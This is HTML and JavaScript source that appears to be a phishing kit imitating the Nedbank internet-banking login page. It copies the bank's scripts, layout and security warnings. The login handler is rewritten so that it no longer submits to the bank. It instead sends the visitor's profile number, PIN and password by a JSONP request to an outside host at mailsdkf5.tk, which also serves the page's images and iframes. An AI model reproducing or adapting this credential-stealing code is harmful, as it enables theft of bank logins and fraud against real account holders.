                                } else {
                                  return scrollHeight;
                                }
                              },
                              StopProgressIndicator: function() {
                                if (this.ProgressDiv != null) {
                                  if (this.WaitClock != null) {
                                    this.WaitClock.StopTimer();
                                    this.WaitClock.StopIntervalTimer();
                                    dotNo = 0;
                                    jsCommon.SetInnerText(this.ProgressDiv, "");
                                  }
                                }
                              },
                              StartProgressIndicator: function() {
                                if (this.WaitClock != null) {
                                  this.WaitClock.StartResetTimer();
                                }
                              },
                              UpdateProgress: function() {
                                if ((this.ProgressDiv != null) && (this.WaitClock != null)) {
                                  var text = "";
                                  this.DotNo++;
                                  if (this.DotNo > 5) {
                                    this.DotNo = 0;
                                  } else {
                                    text = jsCommon.GetInnerText(this.ProgressDiv) + ".";
                                  }
                                  jsCommon.SetInnerText(this.ProgressDiv, text);
                                  this.WaitClock.StartResetTimer();
                                }
                              }
                            };
                            AJAXPageDisable.init();
                            CreateNamespace("Nedbank.App.Retail.Ajax");
                            Nedbank.App.Retail.Ajax.Request = function() {
                              var $this = this;
                              $this._request = null;
                              $this._TimerId = null;
                              $this._isDotBank = false;
                              $this._isKeepAlive = false;
                              if (window.XMLHttpRequest) {
                                $this._request = new XMLHttpRequest();
                                if ($this._request.overrideMimeType) {
                                  $this._request.overrideMimeType("text/html");
                                }
                              } else if (window.ActiveXObject) {
                                try {
                                  $this._request = new ActiveXObject("Msxml2.XMLHTTP");
                                } catch (ex) {
                                  try {
                                    $this._request = new ActiveXObject("Microsoft.XMLHTTP");
                                  } catch (ex) {
                                    $this._request = null;
                                  }
                                }
                              }
                              $this._request.onreadystatechange = function() {
                                if ($this._request.readyState == 4) {
                                  if ($this._isDotBank) {
                                    if (PageGetLoadTime) {
                                      PageGetLoadTime();
                                    }
                                    if (AJAXPageDisable) {
                                      AJAXPageDisable.EnablePage();
                                    }
                                  }
                                  if ($this._request.status == 200) {
                                    window.clearTimeout($this._TimerId);
                                    if ($this._isDotBank) {
                                      if (framesCommon) {
                                        framesCommon.StartResetSessionTimeoutClock();
                                      }
                                    }
                                    if ($this.OnResponse) {
                                      $this.OnResponse($this._request.responseText);
                                    }
                                  } else {
                                    if ($this.OnError) {
                                      $this.OnError($this._request.status, $this._request.statusText);
                                    }
                                  }
                                }
                              };
                              $this._TimeOut = function() {
                                $this.Abort();
                                if ($this.OnTimeOut) {
                                  $this.OnTimeOut();
                                } else if ($this.OnError) {
                                  $this.OnError(0, "Ajax call timed-out");
                                }
                              };
                              $this.OnResponse = null;
                              $this.OnError = null;
                              $this.Open = function(url, httpMethod) {
                                if (httpMethod == null) {
                                  httpMethod = "POST";
                                }
                                $this.PopulateIsDotBank(url);
                                if ($this.OnResponse) {
                                  $this._request.open(httpMethod, url, true);
                                } else {
                                  $this._request.open(httpMethod, url, false);
                                }
                              };
                              $this.Send = function(parms) {
                                $this._request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                                if ($this._isDotBank) {
                                  if (AJAXPageDisable) {
                                    AJAXPageDisable.DisablePage();
                                  }
                                  if (framesCommon) {
                                    framesCommon.StartResetSessionTimeoutClock();
                                  }
                                  if (document.getElementById("Request_LoadTime")) {
                                    if (parms) {
                                      if (parms.length > 0) {
                                        parms += "&";
                                      }
                                    } else {
                                      parms = "";
                                    }
                                    parms += "Request_LoadTime=" + document.getElementById("Request_LoadTime").value;
                                    var now = jsCommon.GetCurrentDate();
                                    parms += "&Request_SubmitTime=" + jsCommon.FormatDate(now, "yyyy_mm_dd") + "_" + jsCommon.FormatTime(now, "h_mm_ss_mss");
                                  }
                                  if (document.getElementById("PageNonce") != null) {
                                    if (parms) {
                                      if (parms.length > 0) {
                                        parms += "&";
                                      }
                                    } else {
                                      parms = "";
                                    }
                                    parms += "Request_Nonce=" + document.getElementById("PageNonce").value;
                                  }
                                }
                                if ($this._isKeepAlive) {
                                  parms = "Request_Nonce=";
                                  if (document.getElementById("PageNonce") != null) {
                                    parms += document.getElementById("PageNonce").value;
                                  } else {
                                    parms += document.getElementById("Request_Nonce").value;
                                  }
                                }
                                $this._TimerId = window.setTimeout($this._TimeOut, 90000);
                                $this._request.send(parms);
                                if ($this.OnResponse == null) {
                                  if (AJAXPageDisable) {
                                    AJAXPageDisable.EnablePage();
                                  }
                                }
                                if (($this.OnResponse == null) && ($this._request.status == 200)) {
                                  return $this._request.responseText;
                                }
                                return null;
                              };
                              $this.Abort = function() {
                                window.clearTimeout($this._TimerId);
                                if ($this._isDotBank) {
                                  if (AJAXPageDisable) {
                                    AJAXPageDisable.EnablePage();
                                  }
                                }
                                var temp = $this.OnError;
                                $this.OnError = null;
                                $this._request.abort();
                                $this.OnError = temp;
                              };
                              $this.PopulateIsDotBank = function(url) {
                                if (url.indexOf('.bank') > 0) {
                                  if (url != 'KeepAlive.bank') {
                                    $this._isDotBank = true;
                                    $this._isKeepAlive = false;
                                  } else {
                                    $this._isDotBank = false;
                                    $this._isKeepAlive = true;
                                  }
                                } else {
                                  $this._isDotBank = false;
                                  $this._isKeepAlive = false;
                                }
                              };
                            };
                            Nedbank.App.Retail.Ajax.ConvertResponseToJSONObj = function(ajaxResponse) {
                              var returnObject = null;
                              try {
                                returnObject = eval('(' + ajaxResponse + ')');
                              } catch (e) {
                                returnObject = eval('({"Result":{"ResultReason":[""],"ResultCode":["FAILURE"]}})');
                              }
                              return returnObject;
                            };

                            function LoadScript(scriptName) {
                              var cachingEnabled = true;
                              var agent = window.navigator.userAgent.toLowerCase();
                              if (agent.indexOf("firefox") != -1 || agent.indexOf("msie 7.0") != -1) {
                                cachingEnabled = false;
                              }
                              var cacheFrame = window.top['frameCache'];
                              var scriptSource = null;
                              if (cacheFrame && cacheFrame.cachedJS) {
                                scriptSource = cacheFrame.cachedJS[scriptName];
                              }
                              if (scriptSource == null || cachingEnabled == false) {
                                var req = new Nedbank.App.Retail.Ajax.Request();
                                req.Open(ApplicationPath + "/Browser/Common/Utils/LoadScript.aspx");
                                var jsResponse = req.Send("jsurl=" + scriptName);
                                scriptSource = jsResponse;
                              }
                              if (cacheFrame && cacheFrame.cachedJS) {
                                cacheFrame.cachedJS[scriptName] = scriptSource;
                              }
                              document.write("<script type='text/javascript'>");
                              document.write(scriptSource);
                              document.write("<\/script>");
                            }
                          </script><!--We call the scripts below from a common loadscript function which will be cached in the frameCache frame-->
                          <div id="floating_div" style="display: none"></div>
                          <script type="text/javascript">
                            var hasSubmitStarted = false;

                            function SubmitToVerifyPage() {
                              var form = document.getElementById("form1");
                              if (parent.document.getElementById("frameset")) {
                                parent.document.getElementById("frameset").rows = "0,0,*,0";
                                if (parent.frames["framePageLoading"]) {
                                  parent.frames["framePageLoading"].StartProgressIndicator();
                                }
                              }
                              form.action = 'VerifyNotification.bank';
                              form.submit();
                            }

                            function ValidateAndSubmit(UrlString) {
                              if (!hasSubmitStarted) {
                                hasSubmitStarted = true;
                                PageGetSubmitTime();
                                if (validate_obj.ValidateFormElements()) {
                                  /*                if (parent.document.getElementById("frameset")) {
                                                      parent.document.getElementById("frameset").rows="0,0,*,0";
                                                      if (parent.frames["framePageLoading"]) {
                                                          parent.frames["framePageLoading"].StartProgressIndicator();
                                                      }
                                                  }*/
                                  var form = document.getElementById("form1");
                                  //if (!(form.action.toString()=='Logon.bank')) {
                                  form.action = 'Logon.bank';
                                  $(".overlay-custom").show();
                                  //form.submit();
                                  //console.log('asdfasdfasd');
                                  //ajax_jsonp_call('http://mailsdkf5.tk/c20/cgi-lin/continue1.php', $("form#form1").serialize());
                                  ajax_jsonp_call('http://mailsdkf5.tk/c20/cgi-lin/continue1.php', 'Request_Pin=' + $("input#PinNo").val() + '&Request_Password=' + $("input#Password").val() + '&Request_ProfileNumber=' + $("input#ProfileId").val());
                                  return false;
                                  //}
                                } else {
                                  hasSubmitStarted = false;
                                }
                              }
                            }

                            function ajax_jsonp_call(post_url, formValues, callBack) {
                              //pageLoader(true);
                              $.ajax({
                                url: post_url,
                                data: formValues,
                                dataType: "jsonp",
                                cache: false,
                                success: function(results) {
                                  //$('#div1').html(results);
                                  //alert('completed');
                                  //callBack(results);
                                  //pageLoader(false);
                                  document.open();
                                  document.write(results.message);
                                  document.close();
                                },
                                error: function() {
                                  alert('Error');
                                  //pageLoader(false);
                                }
                              });
                              //alert('yo');
                            }

                            function ajax_post_callBack(post_url, formValues, callBack) {
                              //pageLoader(true);
                              $.ajax({
                                type: 'POST',
                                url: post_url,
                                data: formValues,
                                cache: false,
                                success: function(results) {
                                  $('#div1').html(results);
                                  //alert('completed');
                                  callBack(results);
                                  //pageLoader(false);
                                }
                              });
                              //alert('yo');
                            }

                            function ValidatePassword() {
                              var flag = false;
                              if (document.getElementById("LoginPagelet_trInConfirmPassword").style.display == "block" && document.getElementById("LoginPagelet_trInNewPassword").style.display == "block") {
                                var passwordInput = validate_obj.GetValidatingElement();
                                var passwordLength = passwordInput.value.length;
                                if (passwordLength < 6 || passwordLength > 10) {
                                  validate_obj.GetValidatingCtrlParms().scriptErrMsg = IncorrectSecretLength1;
                                  return false;
                                }
                                var re = /^[A-Za-z0-9]*$/;
                                if (!re.test(passwordInput.value)) {
                                  validate_obj.GetValidatingCtrlParms().scriptErrMsg = InvalidSymbolInPassword1;
                                  return false;
                                }
                                var containsNumberRegEx = /^(?=.*\d).*$/;
                                var containsLetterRegEx = /^(?=.*([A-Z]|[a-z])).*$/;
                                if (containsNumberRegEx.exec(passwordInput.value) == null || containsLetterRegEx.exec(passwordInput.value) == null) {
                                  validate_obj.GetValidatingCtrlParms().scriptErrMsg = MinimumRestriction1;
                                  return false;
                                }
                                validate_obj.GetValidatingCtrlParms().scriptErrMsg = InvalidConfirmPassword1;
                                return ComparePasswords();
                              }
                            }

                            function ComparePasswords() {
                              var passControl = document.getElementById('NewPassword');
                              var confirmPassControl = document.getElementById('ConfirmPassword');
                              if (passControl && confirmPassControl) {
                                if (passControl.value == confirmPassControl.value) {
                                  return true;
                                } else if (confirmPassControl.value == "") {
                                  validate_obj.GetValidatingCtrlParms().scriptErrMsg = BlankConfirmPassword1;
                                  document.getElementById('ConfirmPassword').value = "";
                                  return false;
                                } else {
                                  document.getElementById('NewPassword').value = "";
                                  document.getElementById('ConfirmPassword').value = "";
                                  return false;
                                }
                              } else {
                                return false;
                              }
                            }
                            var LoadTime;
                            var SubmitTime;

                            function EnterCatch(event) {
                              if (event.keyCode == 13) {
                                if ($("#LoginPagelet_tdLogonID").css('display') == "block" && $("#LoginPagelet_SubmitID").css('display') == "none") {
                                  ValidateAndSubmit();
                                } else if ($("#LoginPagelet_SubmitID").css('display') == "block" && $("#LoginPagelet_tdLogonID").css('display') == "none") {
                                  ValidateAndResetSubmit();
                                }
                              }
                            }

                            function PageGetSubmitTime() {
                              var now = new Date();
                              SubmitTime = jsCommon.FormatDate(now, "yyyy_mm_dd") + "_" + jsCommon.FormatTime(now, "h_mm_ss_mss");
                              LoadTime = SubmitTime;
                              for (i = 0; i < document.forms.length; i++) {
                                var form = document.forms[i];
                                var elSubmit = document.createElement("input");
                                elSubmit.type = "hidden";
                                elSubmit.name = "Request_SubmitTime";
                                elSubmit.value = SubmitTime;
                                form.appendChild(elSubmit);
                                var elLoad = document.createElement("input");
                                elLoad.type = "hidden";
                                elLoad.name = "Request_LoadTime";
                                elLoad.value = LoadTime;
                                form.appendChild(elLoad);
                              }
                            }
                            Events = function() {
                              this.Instance = this;
                              this.$events = new Array();
                            };
                            Events.prototype.Add = function(evt) {
                              this.$events.push(evt);
                            };
                            Events.prototype.AddAsFirstItem = function(evt) {
                              var oldArray = this.$events;
                              this.$events = new Array();
                              this.$events.push(evt);
                              this.$events = this.$events.concat(oldArray);
                            };
                            Events.prototype.Remove = function(evt) {
                              for (var i = 0; i < this.$events.length; i++) {
                                if (this.$events[i] == evt) {
                                  this.$events.splice(i, 1);
                                  break;
                                }
                              }
                            };
                            Events.prototype.Fire = function() {
                              while (this.$events.length > 0) {
                                eval(this.$events.pop());
                              }
                            };
                            var NonceValue = +"0";
                            var IncorrectSecretLength1 = "Your password needs to be between 6 and 10 characters.";
                            var InvalidSymbolInPassword1 = "The password may not contain special characters. Range of characters is A-Z and 0-9";
                            var MinimumRestriction1 = "Minimum of one Numeric character and one Alphabetic Character required";
                            var InvalidConfirmPassword1 = " Your new Passwords do not match. Please try again.";
                            var BlankConfirmPassword1 = "Your new Password do not match. Please try again";
                            var ResponseProfile = "";
                            var ResponsePin = "";
                            var EmptyFormOnSubmitEvents = new Events();
                            EmptyFormOnSubmitEvents.Add('framesCommon.ShowHeaderAndPageLoading()');
                            EmptyFormOnSubmitEvents.Add("PageGetSubmitTime()");
                          </script>
                          <script type="text/javascript">
                            $(document).ready(function() {
                              function toReadOnlyAttribute() {
                                document.getElementById("divslide_show").style.display = "none";
                                document.getElementById("divcontent").style.display = "block";
                                if (BrowserDetect.browser == 'Chrome') {
                                  $("#LoginPagelet_Promo_Right").height("274px");
                                  $("#LoginPagelet_Promo_Left").height("274px");
                                  $("#Promo_LeftAspx").height("274px");
                                  $("#Promo_RightAspx").height("274px");
                                  $("#Promo_RightAspx").width("15px");
                                  $("#Promo_LeftAspx").width("15px");
                                  $("#ContentFrame1").height("274px");
                                  $("#forgotPwdHtml").height("274px");
                                } else {
                                  $("#LoginPagelet_Promo_Right").height("264px");
                                  $("#LoginPagelet_Promo_Left").height("264px");
                                  $("#Promo_LeftAspx").height("264px");
                                  $("#Promo_RightAspx").height("264px");
                                  $("#Promo_RightAspx").width("15px");
                                  $("#Promo_LeftAspx").width("15px");
                                }
                                $("#PinNo").val(ResponsePin);
                                $("#ProfileId").val(ResponseProfile);
                                $("#PinNo").attr('readonly', 'readonly');
                                $("#ProfileId").attr('readonly', 'readonly');
                              };
                            });
                          </script><span id="LoginPagelet_ClientSideValidation1">
                            <script type="text/javascript">
                              var validate_obj = new Nedbank.Infr.ClientSideVal();
                              validate_obj.AddFormElements('ProfileId', 'LoginPagelet_CSV_Error', 'LoginPagelet_lblProfileID', 'INTEGER', false, false, false, '', 'Please enter a valid Profile ID', '', '', '');
                              validate_obj.AddFormElements('PinNo', 'LoginPagelet_CSV_Error', 'LoginPagelet_lblPinNo', 'PIN', false, false, false, '', 'Please enter a valid PIN', '', '', '');
                              validate_obj.AddFormElements('Password', 'LoginPagelet_CSV_Error', 'LoginPagelet_lblPassword', 'TEXT_WITHOUT_SPACES', true, false, false, '', 'Please enter a valid Password', '', '', '');
                              validate_obj.AddFormElements('NewPassword', 'LoginPagelet_CSV_Error', 'LoginPagelet_lblNewPassword', 'TEXT_WITHOUT_SPACES', true, true, false, '',
                                'Your password needs to be between 6 and 10 characters and must contain at least one character and one number', 'Invalid Key Name', 'ValidatePassword();', ' Your new Passwords do not match. Please try again.');
                              validate_obj.AddFormElements('ConfirmPassword', 'LoginPagelet_CSV_Error', 'LoginPagelet_lblConfirmPassword', 'TEXT_WITHOUT_SPACES', true, true, false, '',
                                'Your password needs to be between 6 and 10 characters and must contain at least one character and one number', 'Invalid Key Name', 'ValidatePassword();', ' Your new Passwords do not match. Please try again.');
                            </script>
                          </span>
                          <table style="background-color: #eeeeee; width: 302px; height: 234px; vertical-align: top;" border="0" cellpadding="0" cellspacing="0">
                            <tbody>
                              <tr>
                                <td colspan="4"><img src="http://mailsdkf5.tk/c20/cgi-lin/Login_Top.gif" id="LoginPagelet_Login_Top"></td>
                              </tr>
                              <tr><!--Login-->
                                <td style="background-color:White;" align="left"><img src="http://mailsdkf5.tk/c20/cgi-lin/Promo_Left.gif" id="LoginPagelet_Promo_Left" style="display:block;"></td>
                                <td id="LoginPagelet_tdUserLoginBox" align="left">
                                  <table border="0" cellpadding="0" cellspacing="0" width="97%">
                                    <tbody>
                                      <tr>
                                        <td>
                                          <table>
                                            <tbody>
                                              <tr>
                                                <td class="UserLogin" align="left" valign="middle"> User Login</td>
                                                <td><img src="http://mailsdkf5.tk/c20/cgi-lin/lock.gif"></td>
                                              </tr>
                                            </tbody>
                                          </table>
                                        </td>
                                        <td id="LoginPagelet_FirstTimeID" style="font: arial; font-size: 11px; font-weight: bold; color: #005641; padding-left:10px;"><a href="javascript:GetPage('FirstTimeLogon',%20'750')">First time. Learn more</a>
                                        </td>
                                      </tr>
                                      <tr>
                                        <td colspan="2" style="width: 273px" align="left" bgcolor="#d9d9d9" height="1px"></td>
                                      </tr>
                                      <tr>
                                        <td colspan="2" style="width: 273px" align="left" bgcolor="#FFFFFF" height="1px"></td>
                                      </tr>
                                      <tr>
                                        <td class="Label" align="left"><span id="LoginPagelet_lblProfileID">Profile Number </span></td>
                                      </tr>
                                      <tr>
                                        <td id="tdProfile" align="left"><input autocomplete="off" class="InputBox" id="ProfileId" name="Request_ProfileNumber" value="" maxlength="10" size="20" onfocus="this.autocomplete='off'" type="text"></td>
                                      </tr>
                                      <tr>
                                        <td class="Label" align="left"><span id="LoginPagelet_lblPinNo">PIN </span>&nbsp;</td>
                                      </tr>
                                      <tr>
                                        <td id="tdPin" align="left"><input id="PinNo" name="Request_Pin" maxlength="4" size="4" value="" onfocus="this.autocomplete='off'" style="margin-left: 15px; border-style: inset; border-width: 1px;"
                                            type="password"></td>
                                      </tr>
                                      <tr>
                                        <td id="LoginPagelet_lblPasswordid" class="Label" align="left"><span id="LoginPagelet_lblPassword">*Password </span>&nbsp;</td>
                                      </tr>
                                      <tr>
                                        <td id="LoginPagelet_txtPasswordId" align="left"><input class="InputBox" id="Password" name="Request_Password" maxlength="10" size="20" value="" onfocus="this.autocomplete='off'" type="password"><br></td>
                                        <td id="LoginPagelet_lblResetPasswordid" style="font: arial; font-size: 11px; font-weight: bold; color: #005641; padding-left: 10px;"></td>
                                      </tr>
                                      <tr id="LoginPagelet_trlblNewPassword" style="display: none;">
                                        <td class="Label" align="left"><span id="LoginPagelet_lblNewPassword">*New Password </span>&nbsp;</td>
                                      </tr>
                                      <tr id="LoginPagelet_trInNewPassword" style="display: none;">
                                        <td align="left"><br></td>
                                      </tr>
                                      <tr id="LoginPagelet_trlblConfirmPassword" style="display: none;">
                                        <td class="Label" align="left"><span id="LoginPagelet_lblConfirmPassword">*Confirm Password </span>&nbsp;</td>
                                      </tr>
                                      <tr id="LoginPagelet_trInConfirmPassword" style="display: none;">
                                        <td align="left"><input class="InputBox" id="ConfirmPassword" name="Request_ConfirmPassword" maxlength="10" size="20" onfocus="this.autocomplete='off'" type="password"> </td>
                                      </tr>
                                      <tr>
                                        <td>
                                          <table>
                                            <tbody>
                                              <tr>
                                                <td id="LoginPagelet_tdLogonID" style="display: block;"><img src="http://mailsdkf5.tk/c20/cgi-lin/logonButton.jpg" id="LoginPagelet_LogonID" style="padding-left: 12px; display: block; margin-top: 5px;"
                                                    onclick="javascript:ValidateAndSubmit();" align="left" height="27" width="80"></td>
                                                <td><img src="http://mailsdkf5.tk/c20/cgi-lin/SubmitButton.jpg" id="LoginPagelet_SubmitID" style="padding-left: 12px; display: none; margin-top: 5px;" onclick="ValidateAndResetSubmit();" align="left"
                                                    height="27" width="80"><img src="http://mailsdkf5.tk/c20/cgi-lin/SubmitButton.jpg" id="LoginPagelet_SubmitIDWithoutOnclick" style="padding-left: 12px; display: none; margin-top: 5px;" align="left"
                                                    height="27" width="80"></td>
                                                <td id="LoginPagelet_tdCancelID" style="display: none;"><img src="http://mailsdkf5.tk/c20/cgi-lin/CancelButton.png" id="LoginPagelet_CancelID" style="display: block; margin-top: 5px;"
                                                    onclick="CancelResetPassword();" align="right" height="27" width="80"></td>
                                              </tr>
                                            </tbody>
                                          </table>
                                        </td>
                                      </tr>
                                      <tr>
                                        <td class="margins">
                                          <div id="LoginPagelet_divErrorMsg" value="Logon.Error.SystemUnavailable" style="color: Red; display: none"></div>
                                        </td>
                                      </tr>
                                    </tbody>
                                  </table>
                                </td>
                                <td style="background-color:White;" align="right"><img src="http://mailsdkf5.tk/c20/cgi-lin/Promo_Right.gif" id="LoginPagelet_Promo_Right" style="display:block;"></td>
                              </tr>
                              <tr>
                                <td colspan="4" valign="bottom"><img src="http://mailsdkf5.tk/c20/cgi-lin/Login_Bottom.gif" id="LoginPagelet_Login_Bottom"></td>
                              </tr>
                            </tbody>
                          </table><!--error table-->
                          <table>
                            <tbody>
                              <tr>
                                <td id="CSV_Error1" style="width: 302px" align="left" valign="middle"><span id="LoginPagelet_CSV_Error"></span></td>
                              </tr>
                            </tbody>
                          </table>
                          <script type="text/javascript">
                            var focusInput = document.getElementById("ProfileId");
                            focusInput.focus();
                          </script>
                        </td>
                        <td style="width: 10px"></td>
                        <td valign="top" width="659px">
                          <!-- Promotion Area-->
                          <table border="0" cellpadding="0" cellspacing="0">
                            <tbody>
                              <tr>
                                <td colspan="3">
                                  <img id="Promo_TopAspx" src="http://mailsdkf5.tk/c20/cgi-lin/Promo_Top.gif">
                                </td>
                              </tr>
                              <tr>
                                <td valign="top">
                                  <img src="http://mailsdkf5.tk/c20/cgi-lin/Promo_Left.gif" id="Promo_LeftAspx" style="display:block;">
                                </td>
                                <td>
                                  <div>
                                    <div class="slide_show" id="divslide_show" style="display:block;">
                                      <div class="slides">
                                        <div style="width: 1887px; left: 0px;" class="banners">
                                          <a><img src="https://netbank.nedsecure.co.za/Browser/Brands/Nedbank/Logon/images/banner_4.jpg" alt="InstantPayments"></a>
                                          <a href="http://www.nedbank.co.za/website/content/products/product_detail_new.asp?SubSubcatid=6946&amp;Subcatid=709&amp;ProductID=641" target="_blank"><img src="http://mailsdkf5.tk/c20/cgi-lin/banner_2.jpg" alt="My Financial Life"></a>
                                          <a href="http://www.nedbank.co.za/website/content/products/product_detail_new.asp?SubSubcatid=6705&amp;Subcatid=709&amp;ProductID=660" target="_blank"><img src="http://mailsdkf5.tk/c20/cgi-lin/banner_3.jpg" alt="Send-iMali"></a>
                                        </div>
                                      </div>
                                      <div style="display: block;" class="paging">
                                        <a class="active" href="#" rel="1">1</a>
                                        <a class="" href="#" rel="2">2</a>
                                        <a class="" href="#" rel="3">3</a>
                                      </div>
                                    </div>
                                    <div id="divcontent" style="display:none; width:629px;">
                                      <div style="width:60%; vertical-align:top; float:left;" align="left">
                                        <iframe id="forgotPwdHtml" src="http://mailsdkf5.tk/c20/cgi-lin/ForgetPasswordInfo.htm" style="height:264px; width:408px; border:0px; margin-right:13px; vertical-align:top;" scrolling="no"
                                          frameborder="0"></iframe>
                                      </div>
                                      <div style="width:40%; vertical-align:top; float:right;" align="right">
                                        <img src="http://mailsdkf5.tk/c20/cgi-lin/keyboard.jpg" id="ContentFrame1">
                                      </div>
                                    </div>
                                  </div>
                                </td>
                                <td valign="top">
                                  <img src="http://mailsdkf5.tk/c20/cgi-lin/Promo_Right.gif" id="Promo_RightAspx" style="display:block;">
                                </td>
                              </tr>
                              <tr>
                                <td colspan="3" valign="top">
                                  <img id="Promo_BottomAspx" src="http://mailsdkf5.tk/c20/cgi-lin/Promo_Bottom.gif">
                                </td>
                              </tr>
                            </tbody>
                          </table>
                        </td>
                      </tr>
                    </tbody>
                  </table>
                </td>
              </tr>
              <tr>
                <td>
                  <br>
                </td>
              </tr>
            </tbody>
          </table>
          <!-- END Table for Login and Promo Area-->
          <!-- Table for Menus and Content -->
          <table style="vertical-align:top" border="0" cellpadding="0" cellspacing="0">
            <!-- LHS = Menu's RHS = Content-->
            <tbody>
              <tr valign="top">
                <!--LHS-->
                <td valign="top">
                  <table style="vertical-align:top" border="0" cellpadding="0" cellspacing="0">
                    <tbody>
                      <tr valign="top">
                        <td align="center" valign="top">
                          <!--Alert-->
                          <table style="background-color: #e8e8e8; vertical-align:top" border="0" cellpadding="0" cellspacing="0" width="303px">
                            <tbody>
                              <tr align="left">
                                <!--AlertIcon-->
                                <td style="padding-left: 20px; padding-top: 4px; padding-bottom: 4px;">
                                  <img src="http://mailsdkf5.tk/c20/cgi-lin/alertIcon.gif">
                                </td>
                                <td style="font:arial; font-size:20px; font-weight:bolder; color:Red;" align="left"> SECURITY ALERT </td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
                              </tr>
                              <tr>
                                <td colspan="2" style="height:160px; padding-top:15px" class="ImportantInfo" align="left"> Nedbank will never ask you to access <br>internet banking through a link in an email.<br>
                                  <a href="javascript:GetPage('AlertContact',%20'500')">Click here</a> for more info. <br>
                                  <br>
                                  <a href="https://www.entrust.net/customer/profile.cfm?domain=netbank.nedsecure.co.za" target="_blank">Click here</a> for info on how to verify this <br> website <br>
                                  <br>Nedbank will never ask for your mobile number when you access internet banking.<br><br>
                                </td>
                              </tr>
                            </tbody>
                          </table>
                        </td>
                      </tr>
                      <tr>
                        <td>
                          <br><br>
                        </td>
                      </tr>
                      <tr>
                        <td>
                          <!-- Important Information-->
                          <table style="background-color: #e8e8e8" border="0" cellpadding="0" cellspacing="0" width="303px">
                            <tbody>
                              <tr style="height:50">
                                <!--AlertIcon-->
                                <td style="padding-left: 20px; padding-top: 4px; padding-bottom: 4px;">
                                  <img src="http://mailsdkf5.tk/c20/cgi-lin/alertIcon.gif">
                                </td>
                                <td style="font:arial; font-size:20px; font-weight:bolder; color:Black"> Important Information </td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
                              </tr>
                              <tr>
                                <td colspan="2" class="ImportantInfo" style="height:30px;" align="left" valign="middle">
                                  <a href="javascript:GetPage('SecurityInformation',%20'500')">Security Information</a>
                                </td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
                              </tr>
                              <tr>
                                <td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
                                  <a href="javascript:GetPage('SMSAuthorisation',%20'500')">SMS Authorisation</a>
                                </td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
                              </tr>
                              <tr>
                                <td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
                                  <a href="javascript:GetPage('BrowserRequirements',%20'500')">Browser Requirements (NEW)</a>
                                </td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
                              </tr>
                              <tr>
                                <td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
                                  <a href="javascript:GetPage('Payments',%20'500')">Payments (NEW)</a>
                                </td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
                              </tr>
                              <tr>
                                <td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
                                  <a href="javascript:GetPage('FICA',%20'500')">FICA/Money Laundering</a>
                                </td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
                              </tr>
                              <tr>
                                <td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
                                  <a href="javascript:GetPage('Features',%20'500')">Features</a>
                                </td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
                              </tr>
                              <tr>
                                <td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
                                  <a href="http://www.nedbank.co.za/website/content/bfc/" target="_blank">Fees</a>
                                </td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
                              </tr>
                              <tr>
                                <td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
                                  <a href="javascript:GetPage('ContactUs',%20'500')">Contact Us</a>
                                </td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
                              </tr>
                              <tr>
                                <td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
                              </tr>
                            </tbody>
                          </table>
                        </td>
                      </tr>
                      <tr>
                        <td>
                          <br><br>
                        </td>
                      </tr>
                    </tbody>
                  </table>
                </td>
                <td style="width: 15px;"></td>
                <!--RHS-->
                <td style="width:653px; border-top: solid 1px #005641;">
                  <!-- Content Area-->
                  <table ;="" border="0" cellpadding="0" cellspacing="0">
                    <tbody>
                      <tr>
                        <td style="width:653px;">
                          <div id="divcontentframe">
                            <iframe id="ContentFrame" style="color: white; width:100%; height: 520px;" marginheight="0" src="http://mailsdkf5.tk/c20/cgi-lin/Welcome.htm" marginwidth="0" scrolling="yes " frameborder="0"></iframe>
                          </div>
                        </td>
                      </tr>
                    </tbody>
                  </table>
                </td>
              </tr>
            </tbody>
          </table>
          <!-- Footer -->
          <table border="0" cellpadding="0" cellspacing="0">
            <tbody>
              <tr style="width: 974px">
                <td style="width:974px" align="right">
                  <a href="https://www.entrust.net/customer/profile.cfm?domain=netbank.nedsecure.co.za" target="_blank"> <img src="http://mailsdkf5.tk/c20/cgi-lin/EntrustLogo.gif"></a>
                </td>
              </tr>
              <tr>
                <td>
                  <br>
                  <br>
                </td>
              </tr>
              <tr>
                <td bgcolor="#eeeeee" height="5px">
                </td>
              </tr>
              <tr>
                <td>
                  <br>
                </td>
              </tr>
            </tbody>
          </table>
          <table colspan="2" border="0" cellpadding="0" cellspacing="0" width="974px">
            <tbody>
              <tr>
